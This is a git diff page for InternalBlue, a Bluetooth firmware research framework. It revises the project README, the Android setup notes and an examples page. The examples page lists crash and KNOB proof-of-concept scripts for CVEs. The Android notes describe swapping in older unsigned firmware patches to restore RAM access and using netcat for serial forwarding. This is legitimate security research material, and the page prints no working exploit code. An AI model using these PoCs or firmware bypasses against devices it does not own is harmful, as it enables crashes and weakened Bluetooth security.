Compare commits
96 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| e07f0465a2 | |||
| 8bda5c7078 | |||
| 90e56d893e | |||
| 0c52236b23 | |||
| 5633aeaa9e | |||
| 34ed4294fd | |||
| 68f4a7ef0a | |||
| 3a235cd458 | |||
| ae3ade37a0 | |||
| d3b950b65d | |||
| f8fa847f88 | |||
| 283f7cf674 | |||
| 74a87519c6 | |||
| 8b7d2c8e17 | |||
| 6503b7702d | |||
| 871aa1a39c | |||
| 740449f8c6 | |||
| 2284077504 | |||
| dceb7e3cce | |||
| 20f8a88e75 | |||
| 00ff78326e | |||
| 8ca478eaed | |||
| e8da21828f | |||
| 0afa31b995 | |||
| c15584f83c | |||
| 557b9059af | |||
| 3b41996943 | |||
| 3908bac517 | |||
| 184288ead2 | |||
| 1bf1de11a7 | |||
| f8b0ad6725 | |||
| 2d3ff6226d | |||
| 6503279b00 | |||
| 96912a5ee2 | |||
| cc84f9effe | |||
| be09a97d79 | |||
| efc2343bea | |||
| 308829e0ea | |||
| 797455701b | |||
| f459c6fdae | |||
| 79acb79d34 | |||
| 03a11dc6bf | |||
| 14c8becfef | |||
| 946f1b1274 | |||
| 160206ab53 | |||
| 59ae0bcb3a | |||
| 1abc8c7ef3 | |||
| 6f5526b8c1 | |||
| 03befeb427 | |||
| 0ef1748447 | |||
| 16c362af29 | |||
| 4438eccdb3 | |||
| fa483e7551 | |||
| 2c6911f792 | |||
| 48461fbd17 | |||
| a3d418a262 | |||
| a435466c01 | |||
| 5863b11104 | |||
| 8e93878e08 | |||
| a210025dc5 | |||
| f9c38dfd49 | |||
| aa127b7148 | |||
| 5792bca5b8 | |||
| 4df388c37a | |||
| 733cd9ca56 | |||
| a8a6623658 | |||
| b599213104 | |||
| df5636b9b8 | |||
| 25fa80a416 | |||
| fd7310330b | |||
| 65a8ce61e6 | |||
| 67ec7f5347 | |||
| 8dce7f86a4 | |||
| 692134f748 | |||
| c2166ce384 | |||
| a7266c819d | |||
| f6704f904e | |||
| 9ed9f6e1cc | |||
| efe3614ea5 | |||
| e6b58865dc | |||
| 8d14ab9485 | |||
| f4f51a7952 | |||
| b409207a3e | |||
| fa18727e69 | |||
| 6255023db8 | |||
| 796eb4cc03 | |||
| 6677b86e94 | |||
| ca070290c5 | |||
| bc3d52f00e | |||
| d737068304 | |||
| e8f6e94e1b | |||
| 6e91f9c718 | |||
| 361892bc06 | |||
| 2ce2224421 | |||
| 104a35a79a | |||
| e6b99906c9 |
@@ -0,0 +1,33 @@
|
||||
---
|
||||
name: Bug report
|
||||
about: Create a report to help us improve
|
||||
title: ''
|
||||
labels: ''
|
||||
assignees: ''
|
||||
|
||||
---
|
||||
|
||||
**Describe the bug**
|
||||
<!--
|
||||
A clear and concise description of what the bug is.
|
||||
-->
|
||||
|
||||
**Hardware and operating system**
|
||||
<!--
|
||||
Which Broadcom/Cypress device and operating system are you running on?
|
||||
-->
|
||||
|
||||
**To Reproduce**
|
||||
<!--
|
||||
Describe which commands you entered.
|
||||
-->
|
||||
|
||||
**Logs or screenshots**
|
||||
<!--
|
||||
If you have, we prefer logs in text form or Wireshark traces. If you want to point out one specific issue, you can also insert a screenshot.
|
||||
-->
|
||||
|
||||
**Additional context**
|
||||
<!--
|
||||
Add any other context about the problem here.
|
||||
-->
|
||||
@@ -0,0 +1,29 @@
|
||||
---
|
||||
name: Feature request
|
||||
about: Suggest an idea for this project
|
||||
title: ''
|
||||
labels: ''
|
||||
assignees: ''
|
||||
|
||||
---
|
||||
|
||||
<!--
|
||||
Disclaimer:
|
||||
This is an open-source project mostly maintained by volunteers. We love adding features that help everyone when using InternalBlue and we will do our best, but we cannot guarantee any timeliness for fixes and enhancements. Moreover, as some features require reverse-engineering Broadcom and Cypress firmware, they are rather complicated or impossible to add.
|
||||
-->
|
||||
|
||||
**Is your feature request related to a problem? Please describe.**
|
||||
<!--
|
||||
A clear and concise description of what the problem is.
|
||||
Ex. I'm always frustrated when [...]
|
||||
-->
|
||||
|
||||
**Describe the solution you'd like**
|
||||
<!--
|
||||
A clear and concise description of what you want to happen.
|
||||
-->
|
||||
|
||||
**Additional context**
|
||||
<!--
|
||||
Add any other context or screenshots about the feature request here.
|
||||
-->
|
||||
@@ -0,0 +1,16 @@
|
||||
---
|
||||
name: Question
|
||||
about: General questions about Bluetooth and InternalBlue
|
||||
title: ''
|
||||
labels: ''
|
||||
assignees: ''
|
||||
|
||||
---
|
||||
|
||||
<!--
|
||||
Before asking your question, please check the other closed issues.
|
||||
If your question is related to the Bluetooth specification, please add
|
||||
a reference to the according section in the specification.
|
||||
|
||||
Ask your question below.
|
||||
-->
|
||||
+1
-1
@@ -17,7 +17,7 @@ btsnoop.log
|
||||
# xcode
|
||||
xcuserdata
|
||||
*.xcworkspace
|
||||
macos-framework/IOBluetoothExtended.framework/
|
||||
macos/IOBluetoothExtended.framework/
|
||||
|
||||
# venv
|
||||
venv
|
||||
|
||||
@@ -1,220 +1,74 @@
|
||||
InternalBlue
|
||||
============
|
||||
|
||||
Several Broadcom/Cypress Bluetooth firmwares and their firmware
|
||||
update mechanism have been reverse engineered. Based on that we developed a
|
||||
Bluetooth experimentation framework which is able to patch the firmware and
|
||||
therefore implement monitoring and injection tools for the lower layers of
|
||||
the Bluetooth protocol stack.
|
||||

|
||||
|
||||
|
||||
Publications and Background
|
||||
---------------------------
|
||||
*Broadcom* chips are used in approximately a billion of devices, such as
|
||||
all *iPhones*, *MacBooks*, the *Samsung Galaxy S* series, the older *Google
|
||||
Nexus* series, older *Thinkpads*, *Raspberry Pis*, various IoT devices, and more.
|
||||
In 2016, *Cypress* acquired the IoT division of *Broadcom*. Since
|
||||
then, firmware variants slightly diverged, as *Broadcom* kept non-IoT customers like
|
||||
*Apple* and *Samsung*. However, the firmware interaction
|
||||
and update mechanism stayed the same. We reverse-engineered how the operating
|
||||
systems patch this firmware and interact with it. Based on that we developed a
|
||||
Bluetooth experimentation framework, which is able to patch the firmware.
|
||||
This enables various features that otherwise would only be possible with
|
||||
a full-stack software-defined radio implementation, such as injecting and
|
||||
monitoring packets on the link layer.
|
||||
|
||||
* **Master Thesis** (07/2018)
|
||||
|
||||
*InternalBlue* was initially developed and documented in the
|
||||
[Masterthesis](https://github.com/seemoo-lab/internalblue/raw/master/internalblue_thesis_dennis_mantz.pdf) by Dennis Mantz.
|
||||
Afterwards the development was continued by SEEMOO. It was awarded with the [CAST Förderpreis](https://www.cysec.tu-darmstadt.de/cysec/start_news_details_136448.en.jsp).
|
||||
*InternalBlue* has not only been used for our own research at the Secure Mobile
|
||||
Networking Lab ([SEEMOO](https://seemoo.de)). Also, the [KNOB](https://knobattack.com/) and [BIAS](https://francozappa.github.io/about-bias/) attack prototype
|
||||
were implemented using *InternalBlue* LMP messages
|
||||
and the [SweynTooth](https://asset-group.github.io/disclosures/sweyntooth/) attacks also
|
||||
experimented with *InternalBlue* for crafting LCP messages. Note that in contrast to tools like
|
||||
[btlejack](https://github.com/virtualabs/btlejack) or
|
||||
[Ubertooth](https://github.com/greatscottgadgets/ubertooth), *InternalBlue* does not
|
||||
aim at performing Machine-in-the-Middle attacks. However, the device running *InternalBlue*
|
||||
can send arbitrary packets and also inject these into existing connections. During
|
||||
monitoring, all packets that are received by the device running *InternalBlue* are
|
||||
captured, and there is no packet loss. *InternalBlue* does not have any issues with analysis of encrypted connections or
|
||||
Classic Bluetooth. If you have specific feature requests for your security research,
|
||||
feel free to open a ticket.
|
||||
|
||||
* **MRMCD Talk** (09/2018)
|
||||
In addition to security research, *InternalBlue* also opens possibilities for
|
||||
further analysis such as Bluetooth Low Energy performance statistics and improvements.
|
||||
Anything that can be improved within a Bluetooth stack can be directly tested on
|
||||
off-the-shelf devices.
|
||||
|
||||
The basic framework for Nexus 5 / BCM4339 was presented at the MRMCD Conference
|
||||
2018 in Darmstadt. The talk was also [recorded](https://media.ccc.de/v/2018-154-internalblue-a-deep-dive-into-bluetooth-controller-firmware) and includes an overview of the framework as well as
|
||||
two demo usages at the end (Following a **Secure Simple Pairing procedure in
|
||||
Wireshark** and implementing a **proof of concept for CVE-2018-5383**).
|
||||
Our recent research features [Frankenstein](https://github.com/seemoo-lab/frankenstein),
|
||||
which emulates the firmware including thread switches and virtual modem input. The
|
||||
emulated firmware can be attached to a *Linux* host. Thus, the approach is full-stack.
|
||||
We mainly used it for fuzzing and found vulnerabilities that include host responses
|
||||
to be triggered. *Frankenstein* is in a separate repository, but depends on *InternalBlue*
|
||||
to take state snapshots etc. on a physical device.
|
||||
|
||||
Moreover, we just published [Polypyus](https://github.com/seemoo-lab/polypyus).
|
||||
It enables binary-only binary diffing, independent from *IDA* and *Ghidra*. However,
|
||||
it integrates into that workflow by identifying good starting points for further
|
||||
analysis. We already tried it across various *Broadcom* Wi-Fi and Bluetooth firmware.
|
||||
|
||||
* **35C3 Talk** (12/2018)
|
||||
Looking for our random number generator measurements that we did within the analysis
|
||||
of CVE-2020-6616? You can find them [here](doc/rng.md).
|
||||
|
||||
More extensions were [presented](https://media.ccc.de/v/35c3-9498-dissecting_broadcom_bluetooth) at 35C3 2018 in Leipzig. New features include
|
||||
creating connections to non-discoverable devices. Moreover, we gave a **demo of
|
||||
CVE-2018-19860**, which can crash Bluetooth on several Broadcom chips. This talk
|
||||
was also recorded and gives a more high level overview.
|
||||
|
||||
* **TROOPERS Talk** (03/2019)
|
||||
|
||||
* **WiSec Paper** (05/2019)
|
||||
|
||||
Our WiSec paper [Inside Job: Diagnosing Bluetooth Lower Layers Using Off-the-Shelf Devices](https://arxiv.org/abs/1905.00634) on reversing the
|
||||
Broadcom Bluetooth diagnostics protocol was accepted, demonstrated and got the replicability label.
|
||||
|
||||
* **MobiSys Paper** (06/2019)
|
||||
|
||||
Our MobiSys paper [InternalBlue - Bluetooth Binary Patching and Experimentation Framework
|
||||
](https://arxiv.org/abs/1905.00631) on the complete *InternalBlue* ecosystem got accepted.
|
||||
|
||||
|
||||
* **REcon Talk** (06/2019)
|
||||
|
||||
We gave a talk at REcon, [Reversing and Exploiting Broadcom Bluetooth](https://cfp.recon.cx/reconmtl2019/talk/EQTRGU/).
|
||||
It provides a first intuition on how to do binary patching in C with Nexmon to change Bluetooth functionality.
|
||||
|
||||
* **MRMCD Talk** (09/2019)
|
||||
|
||||
Our talk [Playing with Bluetooth](https://media.ccc.de/v/2019-185-playing-with-bluetooth) focuses on new device support
|
||||
within *InternalBlue* and the Patchram state of various devices.
|
||||
|
||||
* **36C3 Talk** (12/2019)
|
||||
|
||||
The rather generic talk [All wireless communication stacks are equally broken](https://media.ccc.de/v/36c3-10531-all_wireless_communication_stacks_are_equally_broken)
|
||||
points out a couple of new research directions and new Bluetooth projects coming up.
|
||||
|
||||
* **EWSN Paper & Demo** (02/2020)
|
||||
|
||||
We did some work on improving blacklisting performance of BLE data connections. Currently in a separate *blacklisting* branch.
|
||||
|
||||
|
||||
|
||||
|
||||
Supported Features
|
||||
------------------
|
||||
|
||||
This list is subject to change, but we give you a brief overview. You probably have a platform with a Broadcom chip that supports most features :)
|
||||
|
||||
On any Bluetooth chip:
|
||||
* Send HCI commands
|
||||
* Monitor HCI
|
||||
* Establish connections
|
||||
|
||||
On any Broadcom Bluetooth chip:
|
||||
* Read and write RAM
|
||||
* Read and write assembly to RAM
|
||||
* Read ROM
|
||||
* Set defined breakpoints that crash on execution
|
||||
* Inject arbitrary valid LMP messages (opcode and length must me standard compliant, contents and order are arbitrary)
|
||||
* Use diagnostic features to monitor LMP and LCP (with new **Android** H4 driver patch, still needs to be integrated into BlueZ)
|
||||
* Read AFH channel map
|
||||
|
||||
On selected Broadcom Bluetooth chips:
|
||||
* Write to ROM via Patchram (any chip with defined firmware file >= build date 2012)
|
||||
* Interpret core dumps (Nexus 5/6P, Samsung Galaxy S6, Evaluation Boards, Samsung Galaxy S10/S10e/S10+)
|
||||
* Debug firmware with tracepoints (Nexus 5 and Evaluation Board CYW20735)
|
||||
* Fuzz invalid LMP messages (Nexus 5 and Evaluation Board CYW20735)
|
||||
* Inject LCP messages, including invalid messages (Nexus 5, Raspberry Pi 3/3+/4)
|
||||
* Full object and function symbol table (Cypress Evaluation Boards only)
|
||||
* Demos for Nexus 5 only:
|
||||
* ECDH CVE-2018-5383 example
|
||||
* NiNo example
|
||||
* MAC address filter example
|
||||
* KNOB attack test for various devices, including Raspberry Pi 3+/4
|
||||
|
||||
A comprehensive list of chips and which devices have them can be found in the [firmware](internalblue/fw/README.md) module documentation.
|
||||
Due to Spectra 👻🌈 the write and read RAM commands are disabled after driver initialization.
|
||||
Workarounds for this are described in the according *Android* and *iOS* instructions,
|
||||
bypasses for other devices will follow if needed.
|
||||
|
||||
|
||||
|
||||
|
||||
Requirements
|
||||
------------
|
||||
|
||||
Android:
|
||||
* Ideally recompiled `bluetooth.default.so`, but also works on any rooted smartphone, see [Android instructions](android_bluetooth_stack/README.md)
|
||||
* Android device connected via ADB
|
||||
* Best support is currently given for Nexus 5 / BCM4339 and Evaluation Boards
|
||||
* Optional: Patch for Android driver to support Broadcom H4 forwarding
|
||||
* Optional, if H4: Wireshark [Broadcom H4 Dissector Plugin](https://github.com/seemoo-lab/h4bcm_wireshark_dissector)
|
||||
|
||||
Linux:
|
||||
* BlueZ, instructions see [here](linux_bluez/README.md)
|
||||
* Best support for Raspberry Pi 3/3+/4
|
||||
* For most commands: Privileged access
|
||||
|
||||
iOS:
|
||||
* A jailbroken iOS device (tested on iOS 12.1.2/12.4 with iPhone 6, SE, 7, 8, X)
|
||||
* The included `ios-proxy` (instructions in [here](ios-proxy/README.md))
|
||||
* Optional: a Mac with `xcode` to compile the proxy yourself
|
||||
* Optional, no jailbreak required: install [iOS Bluetooth Debug Profile](https://developer.apple.com/bug-reporting/profiles-and-logs/) to obtain
|
||||
HCI and diagnostic messages, either via diagnostic report feature (all iOS versions) or live with PacketLogger (since iOS 13)
|
||||
|
||||
macOS:
|
||||
* Homebrew
|
||||
* Xcode 10.2.1
|
||||
* Instructions see [here](macos-framework/README.md)
|
||||
|
||||
Setup and Installation
|
||||
----------------------
|
||||
|
||||
The framework uses __ADB__ (Android Debug Bridge) to connect to an Android
|
||||
smartphone, __BlueZ__ sockets on Linux, or the included __iOS Proxy__ on iOS.
|
||||
|
||||
For [Android](android_bluetooth_stack) with ADB, either connect the phone via USB or setup ADB over TCP and make sure you
|
||||
enable USB debugging in the developer settings of Android.
|
||||
|
||||
If you have a jailbroken [iOS](ios-proxy) device, you need to install a proxy that locally connects
|
||||
to the Bluetooth device and forwards HCI commands and events.
|
||||
|
||||
On [Linux](linux_bluez) with *BlueZ*, everything should work out of the box, but
|
||||
you need to execute *InternalBlue* as root for most features.
|
||||
|
||||
The InternalBlue framework is written in Python 2. You can install it together
|
||||
with all dependencies by using pip:
|
||||
|
||||
git clone https://github.com/seemoo-lab/internalblue.git
|
||||
cd internalblue
|
||||
pip2 install .
|
||||
|
||||
It will install the following dependencies:
|
||||
* pwntools
|
||||
|
||||
The pwntools module needs the binutils package for ARM 32-bit to be installed
|
||||
on the system. This has to be installed manually by using the packet manager
|
||||
of your Linux distribution:
|
||||
|
||||
# for Arch Linux
|
||||
sudo pacman -S arm-none-eabi-binutils
|
||||
|
||||
# for Ubuntu
|
||||
sudo apt install binutils-arm-linux-gnueabi
|
||||
|
||||
All steps on a plain Ubuntu 18.04:
|
||||
|
||||
sudo apt install git python-setuptools binutils-arm-linux-gnueabi adb pip python-dev gcc
|
||||
git clone https://github.com/seemoo-lab/internalblue
|
||||
cd internalblue
|
||||
sudo pip2 install .
|
||||
cd ..
|
||||
|
||||
sudo apt-get install wireshark-dev wireshark cmake
|
||||
git clone https://github.com/seemoo-lab/h4bcm_wireshark_dissector
|
||||
cd h4bcm_wireshark_dissector
|
||||
mkdir build
|
||||
cd build
|
||||
cmake ..
|
||||
make
|
||||
make install
|
||||
|
||||
Packets required on a current (July 2019) Raspian:
|
||||
|
||||
sudo apt-get --allow-releaseinfo-change update
|
||||
sudo apt-get install git python-setuptools binutils-arm-none-eabi adb python-pip python-dev gcc libffi-dev
|
||||
Table of Contents
|
||||
-----------------
|
||||
* [Feature overview](doc/features.md)
|
||||
* [General setup and usage](doc/setup.md)
|
||||
* Operating system specific setup
|
||||
* [Android](doc/android.md) *6—10 (rooted)*
|
||||
* [iOS](doc/ios.md) *12—13 (jailbroken)*
|
||||
* [macOS](doc/macos.md) *High Sierra—Catalina*
|
||||
* [Linux](doc/linux_bluez.md) with *BlueZ* (default) but __not__ WSL
|
||||
* [Firmware overview](doc/firmware.md)
|
||||
* [SEEMOO talks and publications](doc/publications.md)
|
||||
* [Examples](doc/examples.md)
|
||||
|
||||
|
||||
|
||||
Usage
|
||||
-----
|
||||
|
||||
The CLI (Command Line Interface) of InternalBlue can be started by running:
|
||||
|
||||
python2 -m internalblue.cli
|
||||
|
||||
The setup.py installation will also place a shortcut to the CLI into the $PATH
|
||||
so that it can be started from a command line using:
|
||||
|
||||
internalblue
|
||||
|
||||
It should automatically connect to your Android phone through ADB or your local Linux
|
||||
with BlueZ. With BlueZ, some commands can be sent by unprivileged users (i.e. version
|
||||
requests) and some commands require privileged users (i.e. establishing connections).
|
||||
Use the *help* command to display a list of available commands. A typical set of
|
||||
actions to check if everything is working properly would be:
|
||||
|
||||
wireshark start
|
||||
connect ff:ff:13:37:ab:cd
|
||||
sendlmp 01 -d 02
|
||||
|
||||
Note that InternalBlue only displays 4 byte MAC addresses in some places. This is
|
||||
because the leading two bytes are not required by Bluetooth communication, you
|
||||
can replace them with anything you want.
|
||||
|
||||
|
||||
|
||||
|
||||
Binary file not shown.
Binary file not shown.
@@ -26,7 +26,7 @@ were removed from the source code. Reintroducing these features would be ABI-bre
|
||||
We introduced an experimental serial forwarding. If the connection to a
|
||||
patched Bluetooth stack fails on Android, *InternalBlue* tries to setup sockets
|
||||
with shell scripting. The only requirement is a rooted smartphone. This hack
|
||||
even works on a recent __Samsung Galaxy S10e__ with __Android Pie (9)__ (Patchlevel June 2019).
|
||||
even works on a recent __Samsung Galaxy S10e/S20__ with __Android Pie (10)__ (Patchlevel March 2020).
|
||||
|
||||
In `adbcore.py`, we have a fallback that executes `_setupSerialSu`. This starts the
|
||||
following processes:
|
||||
@@ -35,13 +35,35 @@ following processes:
|
||||
nc -l -p 8873 >/sdcard/internalblue_input.bin
|
||||
tail -f /sdcard/internalblue_input.bin >>/dev/ttySAC1
|
||||
|
||||
To run netcat, you need to install the `busybox` app. Depending on your Android version,
|
||||
To run `netcat`, you need to install the `busybox` app. Depending on your Android version,
|
||||
the paths for `*btsnoop_hci.log` and `/dev/tty*` might differ. Execute `lsof | grep bluetooth`
|
||||
to get hints on the serial device used for Bluetooth.
|
||||
|
||||
Note that this solution is much slower than patching *bluetooth.default.so*.
|
||||
The delay per command is quite long, but overall throughput is okay, i.e., stackdumps can
|
||||
be received.
|
||||
be received. However, it runs out of the box, also if your *Android 6/7* setup does not
|
||||
work.
|
||||
|
||||
|
||||
Bypass: Broadcom Read_RAM Fix
|
||||
-----------------------------
|
||||
On the *Samsung Galaxy S10/S20*, the newest `.hcd` patches remove the commands
|
||||
that allow reading, writing, and launching RAM after applying these patches.
|
||||
However, this can easily be fixed by applying an older patch state.
|
||||
|
||||
Since the Bluetooth firmware is in ROM, the patches are only temporary breakpoints
|
||||
(up to 256 on the S10e) that are applied via the `/vendor/firmware/*.hcd` files.
|
||||
These files are not signed. So, to get *InternalBlue* working again, simply use some older `.hcd` files.
|
||||
One set of files that still works is available in [`samsung_s10e_2019-06-04_vendor_firmware.zip`](../android/samsung_s10e_2019-06-04_vendor_firmware.zip).
|
||||
You need to remount the according partition to replace the files with `mount -o remount,rw /vendor`.
|
||||
As the Samsung Galaxy S10e, S10+, S10, Note 10, and S20 all have the same firmware, this should
|
||||
work on all of them.
|
||||
|
||||
We also extracted the file `/vendor/firmware/bcm4361B0_semco.hcd` from a *Samsung Galaxy S8*, which
|
||||
should be compatible with the *S8+* and *Note 8* as well. The Samsung patch level is June 2020
|
||||
and includes the RNG patch for CVE-2020-6616. We customized it to no longer block the HCI commands
|
||||
read RAM and write RAM to be able to debug the RNG during runtime again. This `.hcd` file
|
||||
is available in [`samsung_s8_2020-06_vendor_firmware_rng-patched_rw-ram-unpatched.zip`](../android/samsung_s8_2020-06_vendor_firmware_rng-patched_rw-ram-unpatched.zip).
|
||||
|
||||
|
||||
|
||||
@@ -50,14 +72,14 @@ Prebuilt Library Status
|
||||
|
||||
Folder | Tag | HCI forwarding | H4 Broadcom Diagnostics | Notes
|
||||
------ | --- | -------------- | ----------------------- | -----
|
||||
none | Android 8+9 | yes | no | Serial and BT Snoop forwarding with `nc` (in `busybox` app), tested on rooted __Samsung Galaxy S10e__
|
||||
android5_1_1 | android-5.1.1_r3 | rx only | no | Tested on Nexus 5 - HCI sniffing only!
|
||||
android6_0_1 | android-6.0.1_r81 | yes | __yes__ | Recommended for __Nexus 5__ (android-6.0.1_r77), also works on Nexus 6P, seems like the version tag can differ a bit.
|
||||
android7_1_2 | android-7.1.2_r28 | yes | __yes__ | Recommended for __Nexus 6P__, but it might run on Nexus 5X, Nexus Player, Pixel C.
|
||||
android8_1_0 | android-8.1.0_r1 | yes | no | Tested on Nexus 6P, but it might run on Pixel 2 XL, Pixel 2, Pixel XL, Pixel, Pixel C, Nexus 5X.
|
||||
lineageos14_1_hammerhead | cm-14.1 | yes | __yes__ | Recommended for __Nexus 5__
|
||||
lineageos14_1_zerofltexx | cm-14.1 | yes | __yes__ | Recommended for __Samsung Galaxy S6__. Works on official Lineage OS build from January 2019, also verified on lineage-14.1-20170103-UNOFFICIAL-zerofltexx.zip
|
||||
lineageos14_1_zeroltexx | cm-14.1 | yes | __yes__ | Recommended for __Samsung Galaxy S6 edge__
|
||||
\- | Android 8+9+10 | yes | no | Serial and BT Snoop forwarding with `nc` (in `busybox` app), tested on rooted __Samsung Galaxy S10e__
|
||||
[android5_1_1](../android/android5_1_1) | android-5.1.1_r3 | rx only | no | Tested on Nexus 5 - HCI sniffing only!
|
||||
[android6_0_1](../android/6_0_1) | android-6.0.1_r81 | yes | __yes__ | Recommended for __Nexus 5__ (android-6.0.1_r77), also works on Nexus 6P, seems like the version tag can differ a bit.
|
||||
[android7_1_2](../android/android/7_1_2) | android-7.1.2_r28 | yes | __yes__ | Recommended for __Nexus 6P__, but it might run on Nexus 5X, Nexus Player, Pixel C.
|
||||
[android8_1_0](../android/android8_1_0) | android-8.1.0_r1 | yes | no | Tested on Nexus 6P, but it might run on Pixel 2 XL, Pixel 2, Pixel XL, Pixel, Pixel C, Nexus 5X.
|
||||
[lineageos14_1_hammerhead](../android/lineageos14_1_hammerhead) | cm-14.1 | yes | __yes__ | Recommended for __Nexus 5__
|
||||
[lineageos14_1_zerofltexx](../android/lineageos14_1_zerofltexx) | cm-14.1 | yes | __yes__ | Recommended for __Samsung Galaxy S6__. Works on official Lineage OS build from January 2019, also verified on lineage-14.1-20170103-UNOFFICIAL-zerofltexx.zip
|
||||
[lineageos14_1_zeroltexx](../android/lineageos14_1_zeroltexx) | cm-14.1 | yes | __yes__ | Recommended for __Samsung Galaxy S6 edge__
|
||||
|
||||
If Broadcom H4 diagnostic support is included, the according diff is located
|
||||
inside the folder. You can apply it inside the /bt folder with:
|
||||
@@ -68,8 +90,8 @@ inside the folder. You can apply it inside the /bt folder with:
|
||||
Installation
|
||||
------------
|
||||
|
||||
After the build process is done, the *bluetooth.default.so* shared library can be
|
||||
found in _/home/ubuntu/mnt/android/out/target/product/hammerhead/system/lib/hw/bluetooth.default.so_
|
||||
After the build process is done, the `bluetooth.default.so` shared library can be
|
||||
found in `/home/ubuntu/mnt/android/out/target/product/hammerhead/system/lib/hw/bluetooth.default.so`
|
||||
and pushed onto the smartphone via ADB. To overwrite the existing library on
|
||||
the Android system partition it must first be remounted in order to make it
|
||||
writable. It is also important to verify that the new library is actually set
|
||||
@@ -164,9 +186,9 @@ Flex error that can be solved as follows:
|
||||
|
||||
export LC_ALL=C
|
||||
|
||||
Due to various reasons it might happen that you successfully build a new _bluetooth.default.so_
|
||||
Due to various reasons it might happen that you successfully build a new `bluetooth.default.so`
|
||||
module which still does not contain Bluetooth network debugging features.
|
||||
You can check if the Bluetooth network debugging features were acutally enabled as follows:
|
||||
You can check if the Bluetooth network debugging features were actually enabled as follows:
|
||||
|
||||
grep bt_snoop_net bluetooth.default.so
|
||||
grep hci_inject bluetooth.default.so
|
||||
+119
@@ -0,0 +1,119 @@
|
||||
InternalBlue PoCs and Examples
|
||||
==============================
|
||||
|
||||
MagicPairing PoCs
|
||||
-----------------
|
||||
|
||||
The [magicpairing](../examples/magicpairing/README.md) folder contains the proof-of-concepts belonging
|
||||
to our WiSec paper
|
||||
[MagicPairing: Apple's Take on Securing Bluetooth Peripherals](https://arxiv.org/abs/2005.07255).
|
||||
For more information on the individual bugs, please refer to our paper.
|
||||
This is what the PoC looks like:
|
||||
|
||||
```
|
||||
=> 1) [MP1]: iOS RatchetAESSIV Crash (0xa8)
|
||||
2) [MP2]: iOS Hint Crash (0x1)
|
||||
3) [MP3]: macOS RatchetAESSIV Crash (0x0)
|
||||
4) [MP4]: macOS Hint Crash (0x0)
|
||||
5) [MP5]: iOS RatchetAESSIV Crash (0x10d)
|
||||
6) [MP6]: iOS RatchetAESSIV Assertion Failure Crash
|
||||
7) [MP7]: macOS Ratcheting Loop DoS
|
||||
8) [MP8]: MagicPairing Lockout - NOT IMPLEMENTED HERE
|
||||
9) [L2CAP1]: AirPods L2CAP Crash
|
||||
10) [L2CAP2]: Group Reception Handler NULL-Pointer Jump (Classic Version)
|
||||
11) [L2CAP2]: Group Reception Handler NULL-Pointer Jump (BLE Version)
|
||||
```
|
||||
|
||||
|
||||
HRNG and PRNG Measurements (CVE-2020-6616)
|
||||
------------------------------------------
|
||||
The *Dieharder* test suite requires at least 1GB of data to decide if a RNG returned random numbers.
|
||||
We provide all scripts we used to evaluate the HRNG and PRNG on various *Broadcom* and *Cypress*
|
||||
chips. These can be adapted for tests on further platforms if needed.
|
||||
Extracting so much from a Bluetooth chip requires a number of optimizations, which are also
|
||||
interesting for other scripts. All measurements scripts contain custom HCI event callbacks, and
|
||||
five of them contain a `Launch_RAM` fix (*Nexus 6P*, *iPhone 7*, *CYW20719*, *CYW20735*, *CYW20819*).
|
||||
Also, these scripts document where we found some free memory chunks, which might also be helpful for
|
||||
other implementations.
|
||||
For some devices, we only checked if the firmware is indeed accessing a HRNG, thus, we provide less
|
||||
than 20 scripts in total.
|
||||
|
||||
* Nexus 5: [PRNG](../examples/nexus5/randp.py), [HRNG](../examples/nexus5/rand.py)
|
||||
* Nexus 6P/Samsung Galaxy S6: [PRNG](../examples/nexus6p/randp.py), [HRNG](../examples/nexus6p/rand.py)
|
||||
* CYW20719 evaluation board: [PRNG](../examples/eval_cyw20719/randp.py), [HRNG](../examples/eval_cyw20719/rand.py)
|
||||
* CYW20735 evaluation board: [HRNG](../examples/eval_cyw20735/rand.py) (didn't measure PRNG as HRNG was used)
|
||||
* CYW20819 evaluation board: [PRNG](../examples/eval_cyw20819/randp.py), [HRNG](../examples/eval_cyw20819/rand.py)
|
||||
* Raspberry Pi 3/Zero W: [PRNG](../examples/rpi3/randp.py), [HRNG](../examples/rpi3/rand.py)
|
||||
* Raspberry Pi 3+/4: [PRNG](../examples/rpi3p_rpi4/randp.py), [HRNG](../examples/rpi3p_rpi4/rand.py)
|
||||
* iPhone 6: [PRNG](../examples/iphone6/randp.py), [HRNG](../examples/iphone6/rand.py)
|
||||
* iPhone 7: [HRNG](../examples/iphone7/rand.py) (didn't measure PRNG as HRNG was used)
|
||||
* Samsung Galaxy S8: [PRNG](../examples/s8/randp.py) __(no HRNG present)__
|
||||
|
||||
|
||||
We also have a [full list of firmware and hardware analysis results](rng.md) of the HRNG and PRNG.
|
||||
|
||||
|
||||
|
||||
KNOB Attack Test (CVE-2019-9506)
|
||||
--------------------------------
|
||||
We provide a modified version of the KNOB attack test, originally provided [here](https://github.com/francozappa/knob).
|
||||
This script tests if the other device will accept a reduced key entropy of 1 byte instead of the optimal 16 byte.
|
||||
Available for:
|
||||
|
||||
* [Raspberry Pi 3](../examples/rpi3/KNOB_PoC.py)
|
||||
* [Raspberry Pi 3+/4](../examples/rpi3p_rpi4/KNOB_PoC.py)
|
||||
* [Nexus 5](../examples/nexus5/KNOB_PoC.py)
|
||||
* [Nexus 6P](../examples/nexus6p/KNOB_PoC.py)
|
||||
* [CYW20735 evaluation board](../examples/eval_cyw20735/KNOB_PoC.py)
|
||||
* [Samsung Galaxy S8](../examples/s8/KNOB_PoC.py)
|
||||
|
||||
LMP to HCI Handler Escalation Attack Test (CVE-2018-19860)
|
||||
----------------------------------------------------------
|
||||
This is an easy-to-use PoC for CVE-2018-19860. It sends multiple LMP messages with opcode 0 (Broadcom vendor-specific).
|
||||
If the following byte, the vendor-specific opcode, is out of range of BPCS (larger than 6), vulnerable devices
|
||||
interpret the memory located after the LMP BPCS handler table as further handlers. On many devices, HCI handlers
|
||||
are located here, which lets an attacker call HCI via LMP, thus, resulting in limited code execution capabilities.
|
||||
Invalid "handler" addresses in that memory range or invalid parameters passed to HCI handlers will cause Bluetooth
|
||||
on the device under attack to crash. This PoC installs an Assembly snippet that sends multiple invalid LMP BPCS packets
|
||||
before establishing connections. If an attacker connects to the device under test using the normal Android/Linux user
|
||||
interface and the connection succeeds, the device is likely not vulnerable (you need to adapt the BPCS range in
|
||||
some cases). If Bluetooth crashes, it is vulnerable. Currently only available for:
|
||||
|
||||
* [Nexus 5](../examples/nexus5/CVE_2018_19860_Crash_on_Connect.py)
|
||||
